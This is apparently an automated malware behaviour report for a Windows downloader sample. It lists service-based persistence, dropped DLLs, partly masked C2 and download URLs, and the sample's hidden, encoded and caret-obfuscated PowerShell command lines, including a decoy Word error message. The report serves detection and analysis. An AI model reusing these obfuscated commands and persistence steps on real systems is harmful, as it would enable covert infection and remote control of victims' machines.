Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\xoqtbyoefexzwc.iut] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xoqtbyoefexzwc.iut] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Ptiaubvkycrbdhr\xoqtbyoefexzwc.iut",Control_RunDLL'
Creates the following services
- 'xoqtbyoefexzwc.iut' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Ptiaubvkycrbdhr\xoqtbyoefexzwc.iut",Control_RunDLL
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IABTAFYAIAAgACgAJwAzAFYAJwArACcAUQAnACkAIAAoACAAWwB0AHkAcABlAF0AKAAiAHsAMwB9AHsANgB9AHsAMAB9AHsANAB9AHsAMgB9AHsANQB9AHsAMQB9ACIALQBGACAAJwBlACcALAAnAFkAJwAsACcA...
Modifies file system
Creates the following files
- %HOMEPATH%\r11p7s9\oewh8mw\p00a.dll
Deletes the following files
- %WINDIR%\syswow64\ptiaubvkycrbdhr\xoqtbyoefexzwc.iut
Moves the following files
- from %HOMEPATH%\r11p7s9\oewh8mw\p00a.dll to %WINDIR%\syswow64\ptiaubvkycrbdhr\xoqtbyoefexzwc.iut
Network activity
Connects to
- '18#.#4.18.252':8080
TCP
HTTP GET requests
- http://www.bi###ncash.com/wp-admin/8NUY/
- http://ps###ops.com/wp-admin/MSInfo/
- http://me#####er-courier.com/content/Service/
HTTP POST requests
- http://18#.##.18.252:8080/zz62sayalvlwcekhae/5oh0hahr9oo/15qf/7bpx/3y9b/ via 18#.#4.18.252
UDP
- DNS ASK bi###ncash.com
- DNS ASK ps###ops.com
- DNS ASK me#####er-courier.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABTAFYAIAAgACgAJwAzAFYAJwArACcAUQAnACkAIAAoACAAWwB0AHkAc...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\R11p7s9\Oewh8mw\P00A.dll Control_RunDLL
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Ptiaubvkycrbdhr\xoqtbyoefexzwc.iut",Control_RunDLL
